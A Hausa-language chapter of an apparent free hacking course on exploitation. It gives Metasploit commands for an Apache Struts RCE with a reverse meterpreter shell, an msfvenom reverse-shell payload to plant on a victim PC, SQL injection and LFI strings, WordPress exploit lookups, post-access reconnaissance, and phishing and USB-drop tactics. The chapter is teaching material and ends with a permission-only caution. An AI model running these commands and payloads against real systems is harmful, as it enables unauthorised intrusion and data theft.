FREE HACKING COURSE CHAPTER 8: EXPLOITATION – YADDA AKE KAI HARI TA HANYAR TA HANYA MAIRAUNI
Bismillah… yanzu mun shiga babin da yawancin hackers ke jira — kai farmaki da samun damar shiga tsarin (system). Amma mu tuna: wannan domin ilimi da tsaro ne kawai.
8.1. Menene Exploitation?
Exploitation na nufin amfani da wani rauni (vulnerability) a system domin:
Samun access
Samun iko
Shigar da malware
Sauya bayanai
Kawo tangarda
Misali:
Idan MySQL yana da default password (root:root), za ka iya shiga database ɗin target. Wannan shine exploitation.
8.2. Nau’o’in Exploits
Type Description Misali
Remote Code Execution (RCE) Gudanar da umarni daga nesa CVE-2017-5638 (Apache Struts)
Privilege Escalation Canza daga user zuwa root DirtyCow (Linux)
SQL Injection Samun access ta hanyar query ' OR '1'='1
File Inclusion Shigar da file daga waje LFI/RFI
Cross-Site Scripting Shigar da code a web <script>alert(1)</script>
8.3. Manhajar Metasploit
🔧 Abin Da Zai Amfane Ka Da Shi:
Ya ƙunshi ɗaruruwan exploits
Za ka iya zabar target, payload, da exploit
GUI da CLI na aiki
⚙️ Amfani da Metasploit:
msfconsole
Misali: RCE Exploit akan Apache
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 192.168.1.10
set RPORT 8080
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.1.5
run
Idan Ya Yi Nasara:
Za ka samu meterpreter shell
Za ka iya gudanar da commands: sysinfo, shell, download, webcam_snap, da sauransu.
8.4. Amfani da Manual Exploits
Example: SQL Injection (Manual)
http://target.com/index.php?id=1' OR '1'='1
Duba Response:
Idan ya dawo da data: vulnerability tana nan
Zaka ci gaba da amfani da sqlmap
sqlmap -u http://target.com/index.php?id=1 --dbs
8.5. Social Engineering Exploits (Human Exploits)
Wani lokaci, kai farmaki ba yana nufin technical skills kawai ba.
Misalai:
Phishing: Tura fake link
USB Drop: Barin USB mai malware a ofis
Fake Login Pages: Amfani da clone na Facebook
> “Mutane su ne sassan da suka fi rauni a cikin tsaro.” – Kevin Mitnick
8.6. Shellcode da Payloads
Menene Payload?
Shell access
Reverse shell
Add user
Download malware
Common Payloads:
Payload Description
windows/meterpreter/reverse_tcp Shell daga Windows zuwa attacker
linux/x86/shell_reverse_tcp Shell daga Linux
cmd/unix/reverse_netcat Shell ta netcat
Amfani da msfvenom:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf
Sanya shi a victim PC, ka run, ka jira shell.
8.7. Web Exploitation Example: Local File Inclusion
http://target.com/page=../../../etc/passwd
Idan target bai yi sanitization ba, zaka ga:
root:x:0:0:root:/root:/bin/bash
Wannan yana nufin system file disclosure.
8.8. WordPress Exploit (WPScan + Manual)
Gano Plugin da Exploit:
wpscan --url http://victim.com --enumerate vp
Za ka iya duba plugin version kuma bincika a exploit-db:
searchsploit plugin_name
Idan kana da shell exploit, za ka iya amfani da shi ta:
python exploit.py -t http://victim.com
8.9. Lokacin da Ka Samu Access – Menene Next?
whoami – Gano matsayin user
uname -a – Fahimtar OS
cat /etc/passwd – Duba users
netstat -tulnp – Gano open ports
history – Ganin abubuwan da aka yi kafin kai
Hacking ba wai shigar system kawai ba ne – fahimtar menene a ciki da kuma tsaron da aka ware yana da matukar muhimmanci.
8.10. Kammalawa
A wannan babi, mun koya yadda za a:
Yi exploit ta amfani da tools kamar Metasploit
Aiwatar da manual SQL Injection da LFI
Amfani da payloads don samun reverse shell
Fara shiga tsarin wani system da gaske
✅ Nasihu Na Tsaro
Yin hacking ba laifi ba ne idan kana da izini ko horo (lab environment).
Kada ka gwada wannan akan network na wasu ba tare da yardarsu ba.
Nuhu Saad Kumurya
إرسال تعليق